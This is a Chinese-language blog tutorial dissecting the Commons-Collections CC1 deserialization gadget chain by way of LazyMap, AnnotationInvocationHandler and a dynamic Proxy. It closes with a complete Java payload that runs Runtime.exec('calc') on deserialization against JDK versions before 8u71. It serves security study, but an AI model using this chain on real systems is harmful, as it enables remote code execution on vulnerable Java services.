赞
踩
LazyMap 和 TransformedMap 类似,都来自于 Common-Collections 库,并继承 AbstractMapDecorator
LazyMap 的漏洞触发点和 TransformedMap 唯一的差别是,TransformedMap 是在写入元素的时候执行 transform,而 LazyMap 是在其 get 方法中执行的 factory.transform 。其实这也好理解,LazyMap 的作用是“懒加载”,在 get 找不到值的时候,它会调用 factory.transform 方法去获取一个值
图源:Java反序列化CommonsCollections篇
之前分析的 cc1 的链使用的是 TransformedMap 下的 checkSetValue 方法,但是还有其他利用链,本次就分析 LazyMap 下的 get 方法调用 factory.transform 方法,也是 ysoserial 中使用的方法
get 方法
整条链的入口点还是在 sun.reflect.annotation.AnnotationInvocationHandler 的 readObject 方法,在文件中发现 membersValues.get 方法参数可控,invoke 方法在对象代理是会被触发,如果将这个对象用 Proxy 进行代理,那么在 readObject 的时候,只要调用任意方法,就会进入到 AnnotationInvocationHandler#invoke 方法中,进而触发的 LazyMap#get
源码有点问题,应该为下图,在 invoke 中判断了 var5 即 paramTypes 长度等于 0,也就是说需要使用无参方法
而 readObject 中的 entrySet 方法就是一个无参方法
for (Map.Entry<String, Object> memberValue : memberValues.entrySet())
前边提到了 invoke 是在对象代理时触发,Java 作为一门静态语言,要实现类似 PHP 中魔术方法 __call,就需要用到 java.reflect.Proxy
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
第一个参数时 ClassLoader,默认即可,第二个参数时代理的对象集合,第三个参数是实现了 InvocationHandler 接口的对象,里面包含了具体的逻辑
动态代理类 Proxy 实现了 serializable,所有对象代理都实现了 Proxy,所以可以序列化
构造 payload
根据之前的 payload 做一个修改,首先使用 LazyMap 替换 TransformedMap:
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
然后对 sun.reflect.annotation.AnnotationInvocationHandler 对象进行 Proxy
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
但是这里依然不能直接对其反序列化,入口点是:sun.reflect.annotation.AnnotationInvocationHandler#readObject ,所以我们还需要再用
AnnotationInvocationHandler 对这个 proxyMap 进行包裹
handler = (InvocationHandler) construct.newInstance(Retention.class,
proxyMap);
最终完整 payload
public class test { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),}; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap); serialize(handler); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
调试执行时可以看到,transform 的参数,最终执行命令
同样只限于 jdk8u71 之前
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。